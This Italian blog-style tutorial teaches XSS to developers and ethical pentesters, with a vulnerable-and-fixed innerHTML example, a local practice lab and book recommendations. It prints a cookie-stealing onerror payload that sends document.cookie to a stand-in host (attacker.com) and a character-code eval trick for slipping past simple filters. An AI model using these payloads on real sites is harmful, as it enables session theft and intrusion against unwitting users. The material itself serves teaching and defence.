Payloads intelligenti: esplorare XSS senza paura

Introduzione

Se conosci già le basi del Cross-Site Scripting, sai che il vero problema non è “cosa sia un XSS”, ma come gli attaccanti sfruttano le imperfezioni del codice reale. In questo articolo vedremo:

• Payload avanzati che superano filtri comuni
• Esempi pratici su codice vulnerabile e mitigato
• Analisi di casi reali recenti
• Strumenti e mini-lab per esercitarsi in sicurezza

Questo è un viaggio nel cuore dell’iniezione XSS per sviluppatori e pentester etici.

Se sei ancora alle prime armi e ti serve un articolo introduttivo 👉 dai un’occhiata qui!

⚡ Nota sulla sicurezza e hacking etico

Tutte le tecniche illustrate in questo articolo sono a scopo didattico. Testare vulnerabilità su siti reali senza autorizzazione è illegale e può avere conseguenze penali.

Suggerimenti pratici per la sicurezza:

• Test sempre in ambienti controllati: laboratori locali, sandbox o piattaforme dedicate come OWASP Juice Shop, HackTheBox, PortSwigger Web Security Academy.
• Mai inviare payload verso domini reali: anche un piccolo test può compromettere dati altrui.
• Hacking etico = responsabilità: l’obiettivo è imparare a proteggere sistemi, non sfruttare vulnerabilità.
• Backup e sicurezza: se lavori su un ambiente locale, assicurati che eventuali esperimenti XSS non compromettano dati importanti.
• Documentazione e formazione continua: le regole e le difese cambiano rapidamente; rimanere aggiornati è parte dell’etica hacker.

💡 Ricorda: essere un “hacker etico” significa pensare come un attaccante per proteggere, non per distruggere. Ogni riga di codice può essere un’arma o uno scudo, a seconda di come viene usata.

🟢 Breve promemoria per principianti

Se sei nuovo all’argomento, ecco tre concetti rapidi che useremo nell’articolo:

• Payload: il pezzo di codice che un attaccante vuole eseguire nel browser della vittima.
• DOM (Document Object Model): la struttura ad albero della pagina che JavaScript può leggere e modificare.
• Sanitizzazione / escaping: trasformare o rimuovere parti dell’input in modo che il browser non le esegua come codice.

Se conosci già questi termini, salta pure avanti — altrimenti tienili a portata di mano mentre leggi gli esempi.

1. Payload avanzati: oltre l’alert

L’alert è il classico “payload di test”, ma nella realtà gli attaccanti puntano più in alto: furto di cookie, esfiltrazione di dati da API e manipolazione del DOM.

1.1 Bypass di filtri parziali

Alcuni filtri disabilitano solo <script> ma lasciano passare altri tag HTML o attributi inline.

👉 Come il browser esegue l’esempio (passo-passo)

1) Il browser legge il tag <img> nell'HTML.
2) Tenta di caricare l'immagine dal valore di src.
3) Se il caricamento fallisce (src non valido), scatta l'evento onerror.
4) Il codice dentro onerror viene eseguito dal JavaScript del browser.

Prova prima a sostituire alert(1) con console.log('test') per vedere il comportamento in console senza popup.

Esempio:

<img src=x onerror="fetch('https://attacker.com?c='+document.cookie)">

Se il filtro blocca <script> ma non gli attributi onerror, il payload funziona comunque.

Input utente:   
Filtro:         blocca <script>
Browser:        esegue comunque onerror
Effetto:        cookie rubati

⚠️ Nota tecnica: Nei browser moderni l’invio di cookie a un dominio esterno è soggetto alla Same-Origin Policy e alle regole CORS. In molti casi i cookie non verranno automaticamente inviati o accettati dal server esterno a meno che non siano configurati correttamente (es. SameSite, header CORS, credenziali). L’esempio illustra il meccanismo di esfiltrazione ma non garantisce che funzioni automaticamente su ogni sito reale.

1.2 Payload multi-stage

Il codice malevolo può essere diviso in più parti per superare controlli e filtri.

<img src=x onerror="s=String.fromCharCode; eval(s(97,108,101,114,116,40,49,41))">

Qui il payload ricostruisce alert(1) tramite codici ASCII, ingannando filtri string-matching semplici.

[Input malizioso] --> [Filtro semplice] --> [Bypass con ASCII] --> [Browser interpreta] --> [Esecuzione codice]

⚠️ Disclaimer: eval() è pericoloso e non deve mai essere usato in produzione perché apre la porta a esecuzione di codice arbitrario e rende la tua app pericolosa anche se i dati provengono da sorgenti considerate “sicure”.. È mostrato solo per scopi didattici in laboratori controllati. In scenari reali, usa sempre funzioni sicure come textContent o DOMPurify.sanitize().

1.3 XSS e API moderne

Nei framework SPA (React, Vue, Angular) l’attacco tradizionale è più difficile, ma i payload possono sfruttare:

• Fetch/axios per intercettare dati sensibili
• Event listeners dinamici
• DOM non protetto tramite innerHTML o manipolazioni dirette

2. Attacco vs difesa “live”

Vediamo un esempio pratico di vulnerabilità e correzione.

Codice vulnerabile

<div id="message"></div>

<script>
  const msg = location.search.split('msg=')[1];
  document.getElementById('message').innerHTML = msg;
</script>

Se un utente invia ?msg=<img src=x onerror=alert(1)>, il codice viene eseguito.

✅ Consiglio: textContent elimina il rischio XSS perché non interpreta HTML. Anche innerText può essere usato in alternativa, ma non supporta HTML né esegue script.

Mitigazione

const msg = location.search.split('msg=')[1];
const safeMsg = DOMPurify.sanitize(msg);
document.getElementById('message').innerHTML = safeMsg;

Oppure, se il contenuto non deve interpretare HTML:

document.getElementById('message').textContent = msg;

Nota: textContent elimina completamente il rischio XSS senza bisogno di librerie esterne.

3. Casi reali recenti

• 2022 – Twitter XSS in Composer: un piccolo payload su un campo di testo consentiva di eseguire script sugli utenti che visualizzavano il tweet, risolto con escaping e CSP.
• 2023 – Bug bounty Shopify: payload multi-stage che aggirava filtri parziali su descrizioni dei prodotti.

Questi esempi mostrano come anche piattaforme mature possano essere vulnerabili se il flusso dati non è completamente sanitizzato.

⚠️ Nota pratica: CSP non blocca automaticamente tutti gli script malevoli. Per essere efficace, occorre definire chiaramente le fonti (script-src) e non includere unsafe-inline, altrimenti può essere aggirata.

4. Strumenti e mini-lab

Per testare XSS in sicurezza:

• PortSwigger Web Security Academy: laboratori online, sfide XSS pratiche.
• OWASP Juice Shop: applicazione vulnerabile per imparare, con ambiente locale.
• Burp Suite / OWASP ZAP: intercettazione e manipolazione di richieste HTTP per testare payload.
• DOMPurify: libreria JS per sanitizzazione avanzata.

Tutti i payload devono essere testati solo in ambienti locali o sandbox autorizzati come PortSwigger Web Security Academy o OWASP Juice Shop.

Mai provare attacchi su siti reali senza autorizzazione: è reato penale.

Mini-lab guidato

1. Crea un file test.html locale con un semplice form e un div di output.
2. Inserisci il payload di prova: <img src=x onerror=console.log('test')> nell’input e invialo.
3. Apri la Console del browser (F12 → Console) e verifica il messaggio test anziché usare alert(). È più sicuro e meno invasivo.
4. Ora sostituisci l’assegnazione dell’output con textContent e verifica che il payload non venga eseguito più.
5. Infine, prova la stessa cosa usando DOMPurify.sanitize() e osserva la differenza nell’output HTML.

[Form Input]
      |
      v
[document.getElementById('output').innerHTML = input]
      |
      v
[Payload XSS]
      |
      v
[Browser esegue]   <-- vulnerabile
      |
      v
[Mitigazione]
input -> DOMPurify / textContent -> output sicuro

5. Difese aggiornate

Conclusione

L’XSS non è più solo “alert(1)”: i payload intelligenti possono aggirare filtri, rubare dati e manipolare interfacce moderne.
Imparare a pensare come un attaccante etico significa:

1. Comprendere i vettori reali
2. Testare in sicurezza con laboratori locali o piattaforme dedicate
3. Applicare mitigazioni moderne e robuste

Diventare esperti di XSS significa trasformare la curiosità in sicurezza, senza mai ripetere vecchi errori.

🔎 Risorse consigliate (per praticare in sicurezza)

• PortSwigger Web Security Academy — laboratori didattici online (uso controllato).
• OWASP Juice Shop — applicazione vulnerabile per esercitarsi in locale.
• DOMPurify — libreria consigliata per sanitizzare HTML client-side.

Ricorda: pratica sempre in ambienti autorizzati e locali.

📚 Letture consigliate

• Cyber Security per Applicazioni Web – Roberto Abbate
  Un testo tecnico in italiano focalizzato proprio sulla sicurezza applicativa, front-end e API REST — molto pertinente al tuo articolo.
• Cybersecurity Kit di sopravvivenza – Giorgio Sbaraglia
  Libro più leggero, ideale come introduzione generale alla cybersecurity per un pubblico non esclusivamente tecnico.
• Cybersecurity per tutti – Renato Castroreale
  Altro testo che abbassa l’asticella pur restando in tema sicurezza, utile per lettori “meno esperti”.
• Fondamenti di Cybersecurity – Giuseppe Nascè
  Testo più accademico/universitario, ottimo se vuoi fornire anche un libro “approfondimento” per chi vuole andare oltre l’articolo.
• La sicurezza delle applicazioni Web. Tecniche di testing e prevenzione – Paco Hope & Ben Walther
  Un classico tecnico in italiano (anche se un po’ datato) che tratta specificamente il testing delle applicazioni web e include lo scripting cross-site.
• Non è un Libro per Hacker – Stefano Fratepietro
  Un’introduzione brillante e accessibile al mondo della sicurezza informatica, scritta da uno dei più noti esperti italiani di cybersecurity. Il libro spiega cosa significa davvero “hacker etico”, sfatando miti e stereotipi, e mostra come si possa usare la curiosità tecnica in modo legale e costruttivo. Perfetto per chi vuole entrare nel mondo dell’hacking con la giusta mentalità e capire le basi senza perdersi nei tecnicismi.

Alcuni link sopra sono link affiliati Amazon — se acquisti tramite questi link potrei ricevere una piccola commissione, senza costi aggiuntivi per te!